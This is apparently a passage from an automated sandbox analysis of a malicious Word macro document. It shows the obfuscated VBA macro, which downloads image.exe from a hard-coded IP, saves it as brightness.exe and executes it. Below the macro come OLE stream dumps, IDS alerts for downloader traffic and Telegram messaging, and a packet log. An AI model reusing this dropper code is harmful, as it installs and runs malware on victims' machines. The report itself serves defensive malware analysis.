'this is a comment
Dim bStrm:
'this is a comment
Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")



Dim nirm1
nirm1 = "h"
Dim nirm2
nirm2 = "t"
Dim nirm3
nirm3 = "t" & "p:/" & "/147.124.216.113/image"
Dim nirm4
nirm4 = "."
Dim nirm5
nirm5 = "e"
Dim nirm6
nirm6 = "x"
Dim nirm7
nirm7 = "e"



Dim plpl
plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

'this is a comment
xHttp.Open "GET", plpl, False
xHttp.Send




 
With bStrm
 .Type = 1
.Open
 .write xHttp.responsebody
 
 'this is a comment
 
Dim monu1
 monu1 = "brightness"
 Dim monu2
 monu2 = "."
 'this is a comment
 Dim monu3
 monu3 = "e"
 'this is a comment
 Dim monu4
 monu4 = "x"
 'this is a comment
 Dim monu5
 monu5 = "e"
 'this is a comment
 Dim monu6
 monu6 = monu1 & monu2 & monu3 & monu4 & monu5
 
 
 .savetofile monu6, 2


Dim parveen1
Dim parveen2
Dim parveen3
Dim parveen4
Dim praveen1
praveen1 = """brightness"
Dim praveen2
praveen2 = "."
'this is a comment
Dim praveen3
praveen3 = "e"
'this is a comment
Dim praveen4
praveen4 = "x"
'this is a comment
Dim praveen5
praveen5 = "e"""
'this is a comment



Dim praveen6
praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
 


End With
 
Shell (praveen6)
 
End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.235956365095031
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.248545188854887
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.4819396898767131
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . < . . . . . . . H . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N a d i n e D a n i e l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 74 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c8 00 00 00 06 00 00 00 d4 00 00 00 07 00 00 00 e0 00 00 00 08 00 00 00 f4 00 00 00 09 00 00 00 04 01 00 00

Stream Path: 1Table, File Type: data, Stream Size: 7882

General
Stream Path:	1Table
CLSID:
File Type:	data
Stream Size:	7882
Entropy:	5.884070235642364
Base64 Encoded:	True
Data ASCII:	. . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
Data Raw:	0a 06 13 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 4618

General
Stream Path:	Data
CLSID:
File Type:	data
Stream Size:	4618
Entropy:	4.726776485086767
Base64 Encoded:	False
Data ASCII:	. . $ . . $ . I f . . . . ! v . . h . # v . . ^ . # v . . z . # v . . 7 . # v . . . . # v . . . # v . . 4 . : V . . . . . t . . . . . . ( . 6 . , . . . . 5 . . . . ^ . 5 . . . . z . 5 . . . . 7 . 5 . . . . . . 5 . . . . . 5 . . . . 4 . 9 . . . . / . . . . . . . . . . . / . . . . / . . . . / . . . . . . . . . . . 2 . . . . . . . 2 . . . . . l . 4 . . . . . . . B . . . . a . y t V . . . $ . . $ . I f . . . . ! v . . h . # v . . ^ . # v . . z . # v . . 7 . # v . . . . # v . . . # v . . 4 . : V . . . . . t . .
Data Raw:	ec 00 16 24 01 17 24 01 49 66 01 00 00 00 21 76 00 06 68 01 23 76 00 01 5e 02 23 76 01 02 7a 17 23 76 02 03 37 02 23 76 03 04 10 02 23 76 04 05 c1 04 23 76 05 06 34 05 3a 56 0b 00 07 94 f4 00 0a 74 00 00 a0 04 14 f6 03 14 28 15 36 01 2c d6 03 00 06 01 35 d6 05 00 01 03 5e 02 35 d6 05 01 02 03 7a 17 35 d6 05 02 03 03 37 02 35 d6 05 03 04 03 10 02 35 d6 05 04 05 03 c1 04 35 d6 05 05

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 370

General
Stream Path:	Macros/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	370
Entropy:	5.26543622504816
Base64 Encoded:	True
Data ASCII:	I D = " { C 6 A 9 1 9 D F - F D D F - 4 0 6 1 - B 5 0 E - B C 9 8 0 2 C B 6 D 9 D } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 2 5 2 7 1 7 C 2 2 9 5 9 2 D 5 9 2 D 5 9 2 D 5 9 2 D " . . D P B = " C 0 C 2 F 2 F 5 F 3 F 5 F 3 F 5 " . . G C = " 5 B 5 9 6 9 1 0 0 5 1 1 0 5 1 1 F A " . . . . [ H o s t E x t e n d e r I n f o ] . . & H
Data Raw:	49 44 3d 22 7b 43 36 41 39 31 39 44 46 2d 46 44 44 46 2d 34 30 36 31 2d 42 35 30 45 2d 42 43 39 38 30 32 43 42 36 44 39 44 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	Macros/PROJECTwm
CLSID:
File Type:	data
Stream Size:	41
Entropy:	3.0773844850752607
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2910

General
Stream Path:	Macros/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2910
Entropy:	4.3567255409849235
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
Data Raw:	cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/dir, File Type: VAX-order 68k Blit mpx/mux executable, Stream Size: 522

General
Stream Path:	Macros/VBA/dir
CLSID:
File Type:	VAX-order 68k Blit mpx/mux executable
Stream Size:	522
Entropy:	6.272080735145925
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . . i . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * , \\ C . . . . m . . A ! O f f i c g O D . f . i . c g . .
Data Raw:	01 06 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 c8 d6 8d 69 08 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: WordDocument, File Type: data, Stream Size: 17972

General
Stream Path:	WordDocument
CLSID:
File Type:	data
Stream Size:	17972
Entropy:	4.46180646482636
Base64 Encoded:	True
Data ASCII:	. Y . . . . . . . . . . . . . . . . . . . . H . . . . . b j b j [ [ . . . . . . . . . . . . . . . . . . . . . . 4 F . . 9 . \\ 9 . \\ . . . . . . . . * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . U . . . . . . . U . . . . . . . U . . . . . . . U . . . . . . . U . . . . . . . . . . . . . . . . . . . i . . . . . . . i . . . . . . . i . . . 8 . . . . . . 4 . . . . . . . . . i . . . . . . . . . . 0 . .
Data Raw:	ec a5 c1 00 59 e0 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 48 11 00 00 0e 00 62 6a 62 6a 5b c9 5b c9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 34 46 00 00 39 a3 0a 5c 39 a3 0a 5c 1d 09 00 00 00 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T07:54:12.243144+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49723	132.226.8.169	80	TCP
2025-01-06T07:54:14.133786+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49723	132.226.8.169	80	TCP
2025-01-06T07:54:14.591406+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49730	188.114.97.3	443	TCP
2025-01-06T07:54:15.515041+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49731	132.226.8.169	80	TCP
2025-01-06T07:54:15.975264+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49733	188.114.97.3	443	TCP
2025-01-06T07:54:16.930648+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49736	132.226.8.169	80	TCP
2025-01-06T07:54:18.508728+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53584	132.226.8.169	80	TCP
2025-01-06T07:54:22.115322+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53612	188.114.97.3	443	TCP
2025-01-06T07:54:23.507981+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53624	188.114.97.3	443	TCP
2025-01-06T07:54:23.990983+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53623	132.226.8.169	80	TCP
2025-01-06T07:54:25.170046+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53623	132.226.8.169	80	TCP
2025-01-06T07:54:25.736960+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53644	188.114.97.3	443	TCP
2025-01-06T07:54:25.816325+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	53643	149.154.167.220	443	TCP
2025-01-06T07:54:26.967936+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53650	132.226.8.169	80	TCP
2025-01-06T07:54:28.402962+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53662	132.226.8.169	80	TCP
2025-01-06T07:54:29.896406+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53671	132.226.8.169	80	TCP
2025-01-06T07:54:31.399524+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53681	132.226.8.169	80	TCP
2025-01-06T07:54:31.412893+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53683	132.226.8.169	80	TCP
2025-01-06T07:54:32.647270+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53694	132.226.8.169	80	TCP
2025-01-06T07:54:32.866022+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53681	132.226.8.169	80	TCP
2025-01-06T07:54:33.415581+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53705	188.114.97.3	443	TCP
2025-01-06T07:54:33.990289+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53709	132.226.8.169	80	TCP
2025-01-06T07:54:34.256624+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53711	132.226.8.169	80	TCP
2025-01-06T07:54:34.638891+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53716	188.114.97.3	443	TCP
2025-01-06T07:54:35.694139+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53724	132.226.8.169	80	TCP
2025-01-06T07:54:36.240323+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	53731	188.114.97.3	443	TCP
2025-01-06T07:54:36.927393+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	53734	149.154.167.220	443	TCP
2025-01-06T07:54:37.084764+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	53738	132.226.8.169	80	TCP
2025-01-06T07:54:44.379776+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	53795	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:54:02.014719963 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.019675016 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.019848108 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.020010948 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.024800062 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539633989 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539652109 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539661884 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539668083 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539675951 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.539757013 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.578326941 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578353882 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578363895 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578382969 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.578433037 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.578506947 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578519106 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578531027 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578541994 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578552008 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.578574896 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.578664064 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.626348019 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626363039 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626370907 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626441956 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.626471996 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626483917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626535892 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.626672983 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626738071 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.626820087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626832008 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626844883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.626878977 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.626902103 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.627007008 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.665112019 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665136099 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665146112 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665180922 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.665265083 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665307045 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.665311098 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665323973 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665335894 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665370941 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.665388107 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.665436029 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.666219950 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666230917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666240931 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666292906 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.666601896 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666614056 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666625023 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666636944 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.666654110 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.666697979 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.712999105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713140011 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713150978 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713161945 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713196039 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.713248968 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.713279009 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713290930 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713309050 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713320971 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713331938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713366032 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.713366032 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.713972092 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713984013 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.713995934 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714006901 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714034081 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.714041948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714054108 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714078903 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.714078903 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.714951038 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714962959 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714973927 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714983940 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.714994907 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.715018988 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.715038061 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.751924992 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.751938105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.751949072 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.751960993 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.751990080 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752053022 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752144098 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752156019 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752166986 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752199888 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752208948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752219915 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752230883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752243042 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752253056 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752258062 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752291918 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752299070 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.752949953 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752962112 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.752973080 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753009081 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.753030062 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753042936 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753053904 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753072023 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753087997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.753123045 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.753123045 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.753195047 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.754014015 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754025936 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754036903 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754046917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754059076 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754070044 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754076004 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.754081011 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.754092932 CET	80	49710	147.124.216.113	192.168.2.5
